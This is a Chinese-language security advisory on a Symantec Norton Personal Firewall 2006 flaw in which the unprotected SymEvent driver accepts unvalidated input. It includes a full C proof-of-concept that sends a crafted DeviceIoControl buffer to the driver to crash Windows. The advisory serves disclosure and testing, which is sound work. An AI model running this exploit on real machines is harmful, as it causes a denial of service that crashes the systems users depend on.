Symantec Norton Personal Firewall 2006 9.1.0.33

描述：

BUGTRAQ  ID: 20051

Symantec Norton个人防火墙是非常流行的防火墙软件。

Symantec Norton个人防火墙的实现上存在漏洞，本地攻击者可能利用此漏洞对系统执行拒绝服务攻击。

Norton没有充分地保护 \Device\SymEvent 驱动，也没有验证其输入缓冲区，允许Everyone向这个驱动中写入数据，可能导致驱动执行无效的内存操作以及整个操作系统崩溃。

<*来源：David Matousek （david@matousec.com）
  
  链接：http://secunia.com/advisories/21938/
        http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buff
*>

测试方法：

/*

Testing program for Insufficient validation of "SymEvent" driver input buffer (BTP00011P002NF)

Usage:
prog
   (the program is executed without special arguments)

Description:
This program uses standard Windows API CreateFile to open "SymEvent" driver and using DeviceIoControl it sends
malicious buffer to the driver that crashs the system.

Test:
Running the testing program.

*/

#include <stdio.h>
#include <windows.h>

void about(void)
{
  printf("Testing program for Insufficient validation of \"SymEvent\" driver input buffer (BTP00011P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %d\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %d.\n",code);
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  HANDLE file=CreateFile("\\\\.\\Global\\SymEvent",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
                         NULL,OPEN_EXISTING,0,NULL);
  if (file!=INVALID_HANDLE_VALUE)
  {
    srand(GetTickCount());
    char bufout[4],bufin[20]="\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1";
    DWORD retlen;
    DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
  } else
  {
    fprintf(stderr,"Unable to open SymEvent device.\n");
    print_last_error();
    fprintf(stderr,"\n");
  }
  

  printf("\nTEST FAILED!\n");
  return 1;
}

建议：

厂商补丁：

Symantec
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.symantec.com/sabu/nis/npf/